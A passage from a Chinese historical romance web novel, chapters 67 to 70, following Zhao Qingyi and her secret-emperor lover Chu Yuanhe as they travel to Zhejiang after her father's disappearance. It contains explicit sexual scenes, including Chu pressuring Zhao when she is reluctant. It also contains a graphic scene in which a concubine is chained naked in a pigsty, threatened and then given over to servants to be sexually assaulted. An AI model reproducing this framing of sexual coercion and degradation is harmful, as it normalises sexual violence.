楚元河什么功夫,那是陪陛下征战沙场多年的将军,怎么可能被几个刺客绑架还吊在树上? 那种关头还有心思耍弄她。 楚元河赶紧赔笑,“我只会用心想你,不会用脚趾头想。” “还贫嘴。”赵清仪给了他一脚,男人身上到处硬邦邦的,这一脚反把自己踢疼了。 楚元河把她带到榻上,捉住她的脚踝轻轻按揉,不忘咧着嘴角嘲笑,“下回想打我,你用点趁手的工具,省得把自己手脚打疼了……” 大掌还顺着她的小腿往上探。 赵清仪更气了,一脚蹬上他的下巴。 楚元河没提防,被她踢中倒了下去,赵清仪趁机抄起枕头就打。 男人反应极快,抬臂格挡,还在笑,“这太软了,打不疼。” 赵清仪咬牙,另一只脚横扫过去,结果被对方抱住,她试着往回拔,动弹不了分毫,气急败坏下,她张牙舞爪的上去挠。 楚元河就等着她自投罗网,松开她的腿,反扭住她的胳膊,把她往怀里带。 赵清仪不曾习武,三两下就被楚元河制服,一条胳膊反剪在身后,另一只胳膊被对方锢在胸前,自己把自己困住了。 楚元河趁机偷香,眼看她雪白的脸蛋染上两抹红晕,心生欢喜,嘴上却嗔道,“说好了是来哄我的,就这样?” “不哄了!” 赵清仪很挫败,在他手里,自己愣是讨不着半点便宜,她扭动起来,楚元河怕伤到她,很快松手。 赵清仪一挣脱就闪得远远,开门要走,楚元河忙不迭追上去,堵住门,“好好好,我哄你,别生气了。” 赵清仪没理他,转过身去。 楚元河绕到她面前,发誓保证,“我下次再不开这种玩笑了,再也不敢把自己吊起来,让你二选一了,行吗?” 他还委屈呢,委屈赵清仪在危难关头,毫不犹豫弃了自己,虽然确实是他布的一个小小的局,他不会真的坠崖,可赵清仪怎么能一丝犹豫都没有呢。 “我说如果,如果今日是真的,你还会这样选吗?” “当然。”赵清仪不想骗他,“对我来说,我的家人永远是最重要的。” 看着楚元河脸上渐渐爬满了失落,她语气软和下来,“你第二重要。” 楚元河很想高兴一下,但是笑不出来,他才第二重要,在他心里,赵清仪是最重要的,可自己在对方心里,只能排第二。 “我自己第三重要,如此你还不满意?”赵清仪不算昧着良心说这话,楚元河确实很重要,没有他,或许她无法顺利走到今日,即便走到了这里,她或许也会失去许多。 好比今日,没有楚元河,她不能保证自己和母亲可以全身而退。 所以楚元河很重要,已经在她的生命里,无法分割。 楚元河怔怔地望着她,眼底涌动的异样情绪似岩浆般热烈,下一刻便失控,他用力抱住赵清仪吻了下去。 站着亲吻,赵清仪总是吃力,每回都得踮起脚尖,又支撑不了多久。 楚元河索性钳住她的双腿将她抱起来,让她挂在自己身上。 赵清仪勾住他的脖颈,吻得更吃力了,战战兢兢,害怕随时没了力气掉下去。 楚元河倒很享受,她越是害怕,抱的就越紧,他喜欢彼此相贴,严丝合缝的感觉。 屋内响起异动,亲吻间彼此纠缠的水声,男人粗沉的闷哼夹杂着女人娇怯的呜咽。 不出预料,赵清仪浑身发软,根本挂不住,被楚元河转移到桌子上。 她刚喘口气,他便挤进来,扣着她的膝弯,细密的吻落在颈间。 赵清仪想到晚些还要回家见人的,抵着他的肩头推了一下,还是那句提醒,“别留下痕迹,看见了不好……” “知道的。”男人瓮声瓮气地回应,高挺的鼻梁埋进去,似陷入了柔软的云海中。 赵清仪腰肢一软,差点又倒下了。 她真是多嘴提那一句。 胡闹了小半刻钟,春山几乎落遍了他的气息,山巅盛景愈发明艳。 赵清仪想不通他为何如此迷恋这个地方,秀美的脸庞泛着薄红。 “我要回去了……”她推开他要下去。 “这才一会儿。”楚元河含糊道,咬住她拢着衣襟的手让她,又继续纠缠。 赵清仪半截身子躺在桌上,头顶的夜明珠熠熠生辉,映照出她起伏的曲线,朦朦胧胧,好似镀了一层柔和的光,圣洁又引人遐思。 楚元河深沉的眼眸锁着她,不确定地问她,“……可以吗?” 距离上回的花神宴,已经过去有段时日了,有些事情不曾经历过,便只停留在想,可一旦尝过滋味,再要忍耐,需得付出百倍千倍的煎熬。 他不是圣人,快熬不住了。 赵清仪抚着他的脸,细密的汗珠顺着男人的鼻尖滑落,滴在她的细嫩的肌肤上,似要烫出一抹红来。 赵清仪倒是想点头,她也不是圣人,况且楚元河最近撩拨取悦的手段五花八门,她很难不动情,但…… “下次行吗?”她还得回家,夜不归宿不好,母亲盯着呢。 楚元河颓丧至极,又是下次,谁家外室伺候主子,像他这般艰难的。 他破罐子破摔,牵过她的手让她自己感受一下。 赵清仪吓一大跳,直接从桌上下来,她想甩开,却跟黏住了似的。 “都这样了,你还要把我晾到下次?” 楚元河喘得格外煽情,大手按住她的手背,他的掌心同样火热,在她手上来回摩挲。 “下次……又是什么时候?” 赵清仪的手快热化了,支支吾吾半晌,不知该说什么。 楚元河眼眸微眯,轻轻叹息,“……你不疼我了。” 模样倒是可怜。 赵清仪有些不敢直视他的眼睛,垂眸狡辩,“我不是来看你了吗……” 她还是太容易有负罪感了,三言两语就被对方牵着鼻子走,然而她的胡思乱想很快就被打破。 楚元河忽然控住她的小手向下施压,不紧不慢的,却强势到不容抗拒,时不时从她掌心里探出头来。 赵清仪瞪大眼睛,意识到什么,彻底僵住,感觉自己的同情心在这一刹那喂了狗。 “总得解决的,不然我要死了……”楚元河又摆出那副无辜的嘴脸。 教会她之后便松开控制,扶住她单薄的肩,“方才不是催着要回去吗?那就像刚刚那样,你来,好了我就放你回去。” 赵清仪有些不知所措,脸唰的红到耳根,心跳得格外厉害。 “要是不好意思,那我们就直接点?”楚元河又开口了,搂着她蠢蠢欲动,一副大不了我吃点亏的样子,“我尽量快,不耽误你……” 赵清仪是领教过的,不是他说快就能快的,她担心的是自己,乱七八糟地回去,以母亲的眼力绝对能猜到发生了什么。 她还有点羞耻心。 豁出去了,“罢了,就这样……” 赵清仪闭着眼睛,浓密的眼睫轻颤。 起初是小心翼翼的,但是不见好转,于是手重了些,楚元河猛的吸了口气,吓得她停住,一动不敢动。 楚元河忍了忍道,“……继续。” 赵清仪这才慢慢睁开眼睛,观察他的脸色,随着她的恢复,他呼吸也变得急促,甚至眯着眼,头向后仰去,难掩这片刻欢慰。 赵清仪隐约懂了,她好像找到了掌控他的诀窍。 但很快,赵清仪就为自己的不自量力付出代价,手快破皮了,怎么还没…… “快一炷香了……”她语带哭腔。 一炷香,干什么都够了,回去她怎么解释,“你之前不是挺快的吗?” 上回楚元河拿走她房里的香炉,差点影响了神智,当时去更衣连带纾解,也才一刻钟。 楚元河忙着呢,抽空想了想,才想起这一茬,躬身靠在她肩头,声音发颤又无奈,“……这能一样吗?” 那时他是一个人,现在两个人。 她对自己的长相身段没有认知吗?还是她不够了解他? “你在我面前,光是多看一眼,我就……”楚元河撇了眼她白皙如玉的细颈,这种吸引是长久的,且不可抗的,他能有什么办法。 “之前是怕吓到你……” 赵清仪根本不知他装得有多辛苦,才换来如今的结果,他再度覆住她的手。 赵清仪死死咬着唇,不敢发出声音,鬓边的金色步摇乱晃。 头顶是男人沙哑又愉悦的嗓音,他愈发不愿克制,要让她清楚地听到他的喜悦。 最后一刻,两个人都躲闪不及。 赵清仪呆呆望着麻木的手心,再看看裙摆,似乎周身皆笼罩了他的气息。 楚元河好了许多,偏头在她呆愣的小脸上啄了啄,“害怕?” 赵清仪点头,又摇头,她好像是第一次看得这般清楚。 楚元河低低笑了,拿出干净的手帕替她擦拭手上还有裙摆上的脏污,最后才擦拭自己,“我去打盆水,再给你洗洗。” 整理好衣裳出去,没一会儿就端着铜盆进来为赵清仪净手,又将她歪斜的步摇发钗推进发髻里,站远些看,除了脸有点红,还挺正常的。 “可以了,我送你回去吧。”楚元河牵着她,快出二门时停下,才想起一件事,“你要小心你二叔。” “知道的。”赵清仪把方姨娘暴毙的事告诉他,“方姨娘应是就是二叔杀的,为了灭口,不让我们追究下去。” 此前赵清仪一直想不通,父母弟弟在山西遭遇的劫匪究竟是谁派去的,她一度怀疑是方姨娘,也只想过方姨娘,但如今她怀疑的目标多了一个二叔。 或许从始至终都是二叔的默许,是二叔在推波助澜。 两人出了二门,就拉开了距离一前一后出府,楚元河客客气气把她送到门口。 孟氏也在自家门口等着女儿,她觉得去的时间太长了,忍不住多看女儿几眼,想从女儿身上看出端倪。 她和郡王……没有逾矩吧? 赵清仪规规矩矩福了福身,“母亲。” “回来就好。”孟氏收回打量的目光。 发髻没乱,整整齐齐的,嗯,挺好。 第68章 第68章如此活着(方姨娘结局)…… 方姨娘的“死”只在赵家掀起了一夜的风浪,夜半一场细雨,淅淅沥沥而落,冲散了赵家的晦气。 翌日一早,雨过天晴,整座宅院恢复以往,仆婢们静静打扫完芳菲院,从此以后,这里再没有什么方姨娘了。 而赵怀良京郊一处私宅里,于清晨传出细碎的锁链声。 方姨娘从痛苦中惊醒,发觉自己好像躺在泥泞里,四周的气息腥臭无比。 她用力睁开眼睛,映入眼帘的是一张腥臭的血盆大口,几乎要凑到她脸上。 方姨娘“啊”的惨叫,慌忙从地上爬起来,随之而来的是叮铃哐啷的铁链声,窒息感再次袭来。 方姨娘闷哼出声,手拼命在脖颈上抓挠,却没能摸到自己的脖颈,触手一阵冰冷坚硬。 她的心陡然沉下,低头一看,脖子上居然套着铁圈,铁圈一端用铁链拴着,将她禁锢在狭小的方寸之地,而她身上更是□□。 方姨娘再次惨叫,手足无措地捂住身子,漂亮的美眸四下张望,先前的血盆大口又一次朝她扑来。 方姨娘惨叫连连。 她……她居然被拴在猪圈里! 意识到这一点,方姨娘快疯了,拼命拉扯脖子上的铁链企图挣脱,几只猪听到动静,又朝她拱了过来。 “走开!走开!” 方姨娘挥舞手臂驱赶,因为害怕,浑身都在颤抖。 她在赵家锦衣玉食十多年,即便是从前没进府之前,她再低贱,也不曾落到如此境地。 赵怀良……赵怀良那个混蛋,居然用铁链拴着她,让她跟猪狗一样活着! 方姨娘向来自诩清醒,男人的爱可以利用,子女也可以利用,而她的目的只是为了活着,更好的活着,若是陷入困境,旁的都能舍弃,她只求活着。 却万万没想到,是如此屈辱的活着! 方姨娘羞愤欲死,难以启齿的羞辱笼罩着她,赵怀良完全没把她当人看,而是当成一只牲畜! 她紧紧抱着自己瑟缩在角落,眼泪啪嗒啪嗒的落,一面要护着自己的身子,还时不时要驱赶凑上前的几头猪。 醒来后不到一刻钟,她便熬不住崩溃大哭,喊着赵怀良的名字,苦苦哀求他放了她。 让她死吧,她现在宁可死了算了。 或许是上苍垂怜,她哭叫了许久,赵怀良终于来了。 方姨娘喜出望外,“老爷……” 余下的话,在看到围上来的一大群人后,尽数化作尖叫。 此刻的方姨娘哪里还有当初的妩媚柔情,如猪狗一般赤.裸,曾经保养得当的白皙肌肤因为在猪圈里滚了一圈,沾满了杂草与猪粪,乌黑的秀发乱糟糟地垂落下来,见到外人在场,她慌忙扯下头发,企图用这一点点的颜色遮蔽身体。 然而她徒劳的挣扎只换来恶劣玩味的笑。 跟在赵怀良的身边的不是旁人,都是*这间宅子里的粗使,有婆子,有小厮,曾几何时,也是伺候过她的下人。 而如今,除了女人们给她投去或怜悯或嫌恶的目光,男人却是个个眼露凶光。 唯有赵怀良眸光淡淡的。 方姨娘前所未有的崩溃,她凄厉大叫,“滚!都滚开!不要看……不要看我!滚啊!” “老爷,妾身知错了,求求你……你让我死吧!老爷求求你让我死吧!” 再没有比这更折辱人的法子了,简直就是酷刑! 她是人啊,赵怀良怎么能做出这种事!他就是个疯子! 即便她再无利用价值,那也是他的妾室啊,怎么能…… 他不是要脸面吗?折辱了她,这又算什么脸面! “你不是只想活着吗?” 赵怀良欣赏着自己的杰作,嘴角噙着恶劣的笑,“为了活着,你可以豁出一切,现如今,我成全你了,你怎么又哭上了?” 这才哪儿到哪儿。 他也不是没给方姨娘好死的机会,她自己不要的。 “对你这般不知廉耻的妇人,这点惩罚还是太轻了。” 方姨娘终于意识到,自己的枕边人才是彻头彻尾的恶鬼! 早知如此,当初她就不该嫌贫爱富,她应该跟着江员外走的,至少如今,她还能过上锦衣玉食的日子,她很清楚,江员外也是爱她的,看他对漫儿的态度就知道了,漫儿逃去钱塘,江员外还能既往不咎,认下这个女儿,可见对方心里还有她。 早知道…… 早知道…… 方姨娘喉头哽咽,泣不成声。 这个世界没有早知道,她后悔已然来不及了。 “众所周知,赵家二房的方姨娘已经死了,而你方巧儿,余生就好好活着,千万别死了,死了,可对不住我大费周章救你啊……” 赵怀良站在猪圈外围,轻轻挥舞袖口散去那股难闻的腥臭气。 曾经他最宠爱的小妾,如今靠近一分他都嫌恶心,可看着她这副样子苟延残喘,又觉心里痛快,甚至为自己的杰作感到骄傲。 毕竟那顶绿帽子他戴了这么多年,是时候出这口恶气。 他搬出赵漫仪与赵江俨,甚至还有骏哥儿威胁她,警告她不能寻短见,若是方姨娘敢死,那三个与她血脉相连的人,一个都别想活。 方姨娘听罢抱头痛哭,谴责赵怀良是个畜生,换来的只有阵阵嘲笑声。 这里是赵怀良的私宅,当初他为方姨娘赎身后,就将人安置在这间宅子里,后来才纳入府中,但这间宅子一直保留着,且位置隐蔽,人烟稀少。 越是隐蔽之处,越易藏污纳垢。 当初既然能藏一个方巧儿,如今,同样也能藏住与她有关的所有罪恶。 赵怀良深深看了方姨娘一眼,终于转身离去。 他只有一个要求,方姨娘不能死,必须活着,余下的,他不会过问。 是以赵怀良前脚刚走,就有胆大的男人搓着手心闯入猪圈。 棚子里惨叫与笑声交错响起,惊得几头种.猪焦躁地来回踱步,也发出古怪的嘶叫…… — 回到赵家,赵怀良又是那副恹恹的神色,他只说自己是去送方姨娘最后一程,府上的人没有起疑。 至于方姨娘的儿子赵江俨,如今正式养在冯氏膝下,不过冯氏并不打算过继,她宁可百年之后家财悉数留给外嫁的女儿,也绝不便宜一个庶子。 “这温仪与侯府的婚事得提上日程了。”冯氏摇着扇子,觉得最近家里太乱了,需得办桩喜事去去晦气。 冯氏的提议得到老夫人的支持,很快侯府那边得了消息,赵怀淑紧锣密鼓地筹备起来,日子就定在十日后,虽然仓促,但侯府承诺不会亏待了新儿媳,聘礼只多不少。 赵清仪和孟氏也各自为赵温仪添妆,她们还是分得清的,方姨娘是方姨娘,赵怀良也只是赵怀良,单看温仪,是个好姑娘,母女俩谁也没吝啬,赵清仪直接给了她三千两压箱底。 出嫁当日,冯氏既欣慰又羞愧,送走赵温仪后,她便彻底交出管家权,就连以往的账目也尽数送到孟氏院里。 唯一的女儿出嫁,她心愿已了,不再争什么了,这个家原本就是靠大房撑起的,还给大房合情合理。 孟氏也不计前嫌,关系破冰之后,反倒觉得冯氏是个不错的人,心直口快,有时说话是不中听,但好在没有坏心眼,这才是最难得的。 只是这样的平静日子终究没有持续多久,赵温仪回门当日,孟家镖局的人闯了进来。 “大夫人不好了!老爷失踪了!” 那人是负责护卫赵怀义南下的,赵怀义明面上是去赈灾匡扶民生,实则还要兼顾新政的推行,朝中前不久才下了征税的旨意,赵怀义的差事做到一半,就在钱塘失踪了。 回来报信的人在混乱中侥幸逃脱,身上还有大大小小数不清的伤痕,交代完赵怀义的情况,人便累得昏厥过去。 原本喜气洋洋的赵家顿时陷入焦灼,老夫人吓得病倒了,只剩孟氏与冯氏支撑门楣,孟氏又体弱,冯氏生怕她也吓出个好歹来。 “嫂子先别担心,或许消息有误也说不准,大伯可是钦差,朝中一品大员,不会轻易出事的,我娘家也在浙江,我先去封信,让我娘家人再打探打探。” 赵怀淑和新女婿萧寒玉也说会派人去找,七嘴八舌地宽慰孟氏。 只有赵清仪想到了一个人,“二叔呢?” 大家似乎才想起赵怀良的存在,一提他,冯氏就没好气,“病了!打从方姨娘死了,他就跟死了亲娘似的……” 意识到话说错了,又连呸好几声,“嗨呀,反正就是要死不活的,不中用了!” 赵清仪觉得蹊跷,她想起了父亲离家前,她们在祖母院里谈话。 父亲去浙江试行新政是陛下密旨,父亲同她这个女儿说过,后来二叔来了,他们就去了书房。 以父亲对二叔的信任,说不定二叔也知道父亲去浙江的真正目的。 她断不可能害自己父亲,那就只有二叔,是二叔把消息告诉了其他人,才让浙江官员提前动手,若真如此,父亲恐怕凶多吉少。 赵清仪的心瞬间跌入谷底,看着病殃殃的孟氏,到底没说出自己的猜测。 当晚赵清仪开始收拾东西,准备亲自去趟浙江,楚元河进来时,就看到她挎着包袱要走。 四目相对之际,赵清仪尴尬了一瞬,她光着急,都忘了和他说一声,“那个……我父亲他……” “事情我都听说了。”楚元河上前抱住她,“对不起……” “这和你没关系。” 赵清仪觉得他还是太喜欢往自己身上揽责了,这本来也不关他的事,“害我父亲的人又不是你。” 楚元河不敢与她说实话,万一让赵清仪知道是自己派赵怀义去冒险,估计她会生气。 他叹了口气,“让你担惊受怕,就是我做的不好,这件事我来想办法,好吗?” 他慢慢攥住她的包袱,示意她先冷静。 可赵清仪去意已决。 楚元河从她神色坚毅的脸上,依稀看到了四五年前,赵清仪毅然奔赴西北千里寻父的样子,心便揪疼得厉害。 “浙江形势复杂,与西北大为不同,那里的明枪暗箭只多不少,防不胜防,你一个人我不放心。” 楚元河退了一步,“这样,我明日去宫里请旨,让陛下准我去探查赵大人失踪一案,你我再一同去,可好?” 指腹轻轻抚过她的脸颊,那双桃花眼里满是真诚。 赵清仪定定望着他,忽然就红了眼眶,泪水如开了闸的洪水倾泻而出。 这些年她习惯了一个人承担所有,忽然有个人说他可以陪她共同面对,让她觉得,自己似乎也有了一个依靠,可以供她短暂的喘息片刻。 如此也足够了。 楚元河手忙脚乱的为她擦拭眼泪,感觉这回又玩大了,届时她知道了真相,还不知要怎么收场。 忖了忖,楚元河半真半假地说,“其实……有件事我瞒了你,我的暗卫一路保护赵大人,据我所知,赵大人他没事,只是暂且带去了一个隐蔽之处,不便现于人前。” 赵怀义的失踪,自始至终在他的谋划之内,所以得到消息时他半点不意外,但赵清仪是不知情的,她的焦虑担忧发自内心,这让楚元河愧疚不已。 是他没把她的感受考虑在内,忽略了她,可又不到坦白的时机,只能先设法哄着。 赵清仪抬起模糊的泪眼,哽咽得说不出话。 楚元河见过她高高在上的冷脸,也见过她娇柔婉转的媚态,却是头一次见她哭成这样,心里很不是滋味,忙不迭应承她,“倘若赵大人有个万一,我拿我的命赔你……” 话音未落,赵清仪堵上了他的嘴,湿润的眼睫轻轻颤动,也打湿了他的脸庞。 楚元河顿了顿,慢慢加深这个吻,含住她的柔软的唇,吻得很轻,像是对待一件稀世珍宝。 他在外辗转良久,怀里的女子才慢慢停了啜泣,白皙纤细的手攀附着他的胸膛,她仰头回应他绵绵的情意。 她也不知为什么,或许是楚元河帮过她太多次,以至于她真的会在危难关头下意识去依赖他,信任他,他说他能护住父亲,那就一定能护住。 赵清仪在他怀里情动,已不满足于他的浅尝辄止,檀口微张,探出了舌尖。 楚元河稍稍停顿,确认她在主动,再吻下时,直接撬开牙关强势地闯入,与她勾缠追逐,湿热的大掌也沿着她的腰腹慢慢往上。 赵清仪喜欢与他亲近,只是总有承受不住的时候,原本止住的啜泣又开始了。 唇瓣再分离时,他们额头相抵,气息交缠。 赵清仪缓了很久,嗓音还有些哽咽,“你为我,为我的家人做的够多了……” 她都不知要如何感激他,自然听不得他拿自己的性命赌咒发誓。 家人重要,楚元河同样也很重要。 男人粗粝的指腹摩挲着她的娇嫩的脸,一点点拭去泪痕,他决定了,下次再骗她,他就是狗。 第69章 第69章“都喊我夫君了,躲什么…… 只此一次,也就一次。 楚元河反复告诫自己后,重新将她揽在怀里安静地抱着。 后来也不知是谁先起的头,赵清仪觉得是他,又感觉好像是自己…… 反正又亲上了,二人搂在一处,一同跌进床帐里。 到底是顾及她的心情,楚元河很克制,并未逾越,只是吻得她迷迷糊糊泛起困意,磁沉的嗓音低低的,“睡吧,睡一觉就好了。” 赵清仪蜷缩在他胸膛里,听着他温柔的安抚,渐渐睡了过去。 楚元河守着她直到天亮,两个婢子推门进来准备伺候主子悉数,撩起床帐的刹那,两个婢子差点尖叫出声。 赵清仪揉着惺忪地睡眼醒来,就看到躺在身侧的楚元河,对方倒是穿得齐整,只褪了鞋袜,一条胳膊还枕在她脑后。 而她自己…… 赵清仪垂眸,她身上只剩小衣,露在衾被外的肌肤还有斑斑点点的红痕,即便昨夜没做什么,在婢子看来,她这样也着实不清白…… 檀月当机立断,拽过俏月,“奴婢们先出去。” 二人刚要迈步,楚元河就醒了,睁眼的刹那眸光锋锐,宛若出鞘的利剑,这是他的本能,却把两个婢子吓得跪倒在地,头都不敢抬一下。 楚元河缓了缓,意识到他是在赵清仪香闺里,眼神又柔和下来,揽着赵清仪的腰坐起来,“行了,我伺候你们主子起身。” “奴婢不敢。”婢子诚惶诚恐,服侍主子是她们奴婢的活,哪儿敢让郡王代劳,最后还是赵清仪发话,两人才敢退出去。 “你怎么没走?”赵清仪系好中衣,有些脸红。 楚元河挑挑眉,调笑道,“你昨夜哭哭啼啼,抱着我不肯撒手,我怎么走?”一边说,一边拿过婢子送来的衣裳给她披上。 赵清仪昨晚确实哭了挺久,都记不清了,只在乎自己的脸面。 “我……没做是什么出格的事吧?” “何谓出格的事?”楚元河意味深长地看她一眼,“你抱着我哭,哭完又闹着要我抱,要我亲,不亲你还生气,生气了又哭……这算吗?” 赵清仪捂住耳朵让他闭嘴,穿好衣裳就赶他走。 楚元河又恢复了嬉皮笑脸的样子,好在这日休沐,不必上朝,回到宫里,暗卫前来禀报,前两次针对赵清仪的刺杀皆为王家手笔,后面一次还涉及赵家二房。 楚元河早有猜测,这笔账早晚要和王家清算,又召来平西郡王楚天霸。 楚天霸听说陛下这次不仅是出宫,还要离京,一去少说得一两个月,他摆手不干,当皇帝的替身还是太危险了,最后还是楚元河许诺他诸多好处,这才勉强答应。 楚元河还派锦衣卫镇抚使走一趟,他们在明,负责调查赵怀义失踪一案,而他在暗微服私访,是以新任钱塘县令的身份南下,至于赵清仪,他考虑好了,就扮作他的新婚妻子。 赵清仪只和孟氏说了实话,至于老夫人那里,需要孟氏帮忙隐瞒,就说她是去寺庙清修为父祈福去了,同时留下两个婢子,免得让老夫人担心起疑。 她也忧心孟氏的身子,又特意嘱咐华锦姑姑几句,对方是服侍孟氏多年的老人了。 临走时,孟氏给了她一块手令,有这块手令,便可动用孟家分布在京外的各处势力,“到了浙江,遇到困难就去寻你表哥。” - 半月后,浙江杭州府。 岐王即将迁移封地,在王府里大肆宴请当地官员,金樽玉盏彼此碰撞,商量着如何在离开之前大捞一笔,这当中大多是王仰止的同党,其中还有一人,是他近日格外倚重的门客。 “待本王成就大业,李大人功不可没,六部之内所有官职,任你挑选。”这是他对有功之臣的许诺。 打从李彻来了之后,接二连三献上妙计,不仅预判了赵怀义那老小子的动向,还为他打通了盐铁两道及浙江沿岸的漕运路线,如此一来,即便改封去了苦寒之地,大梁最重要的命脉依旧掌握在他的手心里。 “只是可惜,没能留下赵怀义的命。”岐王可还记着花神宴的那笔账,他没能得到赵清仪,如今又讨伐不了小皇帝,只能先从赵家身上讨些利息。 其他官员纷纷附和,杜知府更是信誓旦旦打起包票,“殿下放心,有下官在,便是掘地三尺也会找出此人,杀了他,以绝后患。” 岐王听得很是高兴,举杯邀诸位共饮,末了,一个侍卫近前禀报,说朝廷派的新任钱塘县令已经到杭州了。 岐王冷笑,区区县令能起什么作用,上一任县令撞破他的谋划,都没能往外传递半个字就已身死道消,这一次,自然也不例外。 岐王漫不经心地搁下酒杯,让人随便找个机会杀了吧。 其余人又附和,唯有李彻阻拦,“殿下,此人杀不得。” “您杀了他,朝廷还会再派新官上位,杀得多了,势必引起朝廷重视,恐会打草惊蛇,倒不如试着拉拢,若能将他变成自己人,岂不更好?只要利用得当,就是蒙蔽上京,蒙蔽朝廷的一颗棋子。” 岐王酒意上头,闻言略一思忖,觉得有理,拍了拍李彻的肩头以示肯定,“李大人还有何妙计?” 李彻言简意赅,“以利诱之,软硬兼施。” 利诱拉拢最佳,若拉拢不成,就以权势胁迫,如若对方抵死不从,再杀不迟。 底下忙有人抢揽这个活计,“殿下放心,此事就交由在下来办。”说话的是江员外,亦是钱塘数一数二的豪绅富户。 岐王大悦,又举起酒杯吆喝,厅内觥筹交错,醉生梦死…… 反观赵清仪这边,就显得冷清许多,楚元河顶着小小县令一职,到了驿站只有几个小卒出来招待。 他们落脚的地方比较偏,是个名唤杏花村的小庄子,驿站房舍不大,赵清仪感觉两个人同住一屋有些挤,她毕竟是娇生惯养的世家小姐,打小没受过吃穿用度上的苦。 楚元河就随意许多,他把床铺好,又叫人打了一大桶热水,让赵清仪先沐浴歇歇。 尽管二人有过亲密,如今又扮作夫妻,同床共枕没什么,但赵清仪还是不好意思,沐浴时打发楚元河到外边看门。 想着一会儿就能躺一个被窝了,楚元河忍了。 等赵清仪洗完喊他进去,他就落好门窗开始解衣裳。 赵清仪花容失色,“你干什么?” “沐浴啊。”楚元河说得理所当然,甚至都不打算到屏风后回避一下,直接解了腰带往置衣架上一抛。 “这……水还没换呢……”赵清仪紧张不已,房间就这么大点,她眼睛不知该往哪儿放,只好坐在床上背过身去。 “没事,我不介意。”楚元河的外袍已经褪下了,只剩贴身的里衣松松垮垮地缀在身上,他抬脚往浴桶走去。 赵清仪沐浴至少要换两遍水,尽管出门这一趟条件艰苦些,这一点要求始终没变,只是先前急着赶路,没有合适的落脚点,没能日日沐浴,她便一直不肯让他近身。 楚元河早就按捺不住了,三下五除二脱了上衣。 听到男人的动静,赵清仪还是扭过头去偷偷看了一眼,他正好背对着他,去了上衣,肩背的肌肉彻底暴露在她的视线里,随着他挂衣服的动作,隆起的肩胛骨也跟着起伏,显得异常强悍。 赵清仪情不自禁多看了几眼,顿觉小腹酸酸胀胀的,她意识到什么,赶紧别过脸去。 楚元河正好也扭头看过来,撞见她慌乱躲避的眼神,差点笑出来。 他故意放慢了动作,要去最后一件时,故意喊了她一声,“夫人。” 赵清仪下意识转回去,当即吓得捂住眼睛,脸颊红得滴血,“你……你不要脸!” 楚元河已经钻进了浴桶里,再忍不住低笑起来。 赵清仪还捂着眼睛,纠正他,“你不要乱喊,我……我才不是你夫人。” 她们可没成亲。 “你要提前适应适应。”楚元河闲散地靠着浴桶,攥着帕子搓洗,语气轻佻道,“别人眼里我们就是夫妻,我喊你夫人再正常不过,你可切莫露馅了。” 末了又笑着哄她,“夫人,你也喊声夫君让我听听?” 赵清仪怀疑当初他请旨南下时,是不是就已经盘算好如何占她便宜了。 至于那两个字,她也不是喊不出口,毕竟当初她与李彻尚未和离时,经常这样虚以委蛇,她酝酿半晌,勉强喊了一声,“夫、夫君……” 女子声音温温软软的,一声夫君喊得楚元河嘴角快咧到耳朵根,他停下搓洗的动作,朝她的方向挑眉,“多叫几声,听不清呢。” 赵清仪肯定,他就是故意的。 得治治他,让他弄清楚,他是外室,她才是主人,不能让他如此嚣张,肆无忌惮。 赵清仪咽下这口气,眼神忽然从羞怒转为娇俏,她下床走到他身后,隔着浴桶边缘俯身,两条光洁的玉臂从后环至男人胸前。 “夫君……” 她本就生了一副好嗓子,又有心治他,声音变掐得甜腻腻的,简单的两个字从她嘴里出来,似乎都变了调,格外婉转娇媚。 楚元河呼吸一沉,立时笑不出来了。 赵清仪环着他的肩,指尖顺着他赤.裸的胸膛慢慢攀上他轮廓分明的侧脸,“夫君,这下你可满意了?” 她下巴抵着他宽阔的肩,白嫩的指尖在他脸上来回轻抚,宽大的袖摆顺势滑落,露出一截莹白香软的藕臂,正若即若离地贴着他。 楚元河喉结滚动,忽然从水下探出手,径直将她拽入桶中,顷刻溅起一地水花。 赵清仪本意是来逗弄他的,不曾想意外搭上了自己,刚入水她便惊呼起来,“我的衣裳……” 这一路二人轻装简行,她只收拾了两套换洗衣裳。 来不及多想她便沉入水中,混沌间,只觉那男人的手臂入铁铸般紧锁着她的腰肢,迅速将她托出水面。 “不打紧,晾一夜就干了。”楚元河嗓音喑哑,语速也极快,说完便急不可耐地吻上她的唇。 滚烫的吻带着细微啃咬的痛楚碾过她的唇瓣,又强势攻入齿关。 赵清仪起初还挣扎一二,却被他抱住腿,整个人横着坐在他身上,找不到使力的点。 楚元河在桶里横抱着她吻至深.入,喘息的空隙里,他还笑她,“你都喊我夫君了,躲什么?” 赵清仪羞红脸。 他按住她的肩将她抵在浴桶上,长腿从底部支撑起来,随着一阵哗啦啦的水流响起,半截伟岸的身躯破出水面,反过来压制住她,在她周身形成铜墙铁壁。 赵清仪再次陷入水中,沉得更深,香汤几乎没过她心口,单薄的裙子彻底浸湿,无法抵抗浮力在水中飘了起来,轻而易举勾勒出她窈窕丰腴的身段。 “夫人……” 男人在她鬓边厮磨,喟叹。 他喜欢这个称呼,唤她的小字固然亲昵,可只有这个称谓,是独属于她的男人的,只有他,可以这么唤她。 “夫人……” 他一连唤了几声,得不到回应,他便握住她软软抵在胸前的小手。 他也很喜欢她的手,如凝脂般滑.腻的肌肤挂不住水珠,淅淅沥沥地往下淌,他低头含住她的指尖,轻轻地吮吸,再缓缓上移…… 微凉的香汤因她二人的纠缠逐渐温热起来。 赵清仪无力后仰,脖颈靠着浴桶边缘,眼前一片水雾迷蒙。 楚元河由远及近,不消片刻吻上了她的眉眼。 赵清仪眼睫抖个不停,她又一次鬼迷心窍,抱住他的肩头。 “你再喊我一声,好不好?”楚元河伏在她耳边,声音潮湿又灼热。 赵清仪恍恍惚惚的应了,“夫君……” 下一刻,他拨开水中漂浮的裙摆潜藏入内。 赵清仪瑟缩了一下,却窜起更汹涌的战栗,到底没有完全逃开。 呼吸再次被他掠夺,他深吻着她的唇。 浴桶中水流激荡,愈发失控。 第70章 第70章“赵清仪,你是存心要我…… 屏风隔绝了外间的烛火,只留下朦胧昏黄的光晕,散在蒸腾氤氲的水汽间。 赵清仪的意识在这铺天盖地的侵袭中摇摇欲坠,似被卷入惊涛骇浪的小舟,几度沉浮,已然到了承受极限。 她无助地推着男人的手臂,那手臂好似烙铁一般,滚烫又坚不可摧。 “楚元河……”她抽泣哀求,尾音破碎。 “你唤我什么?”男人眸底幽暗汹涌,对她的哀求置若罔闻,反而变本加厉。 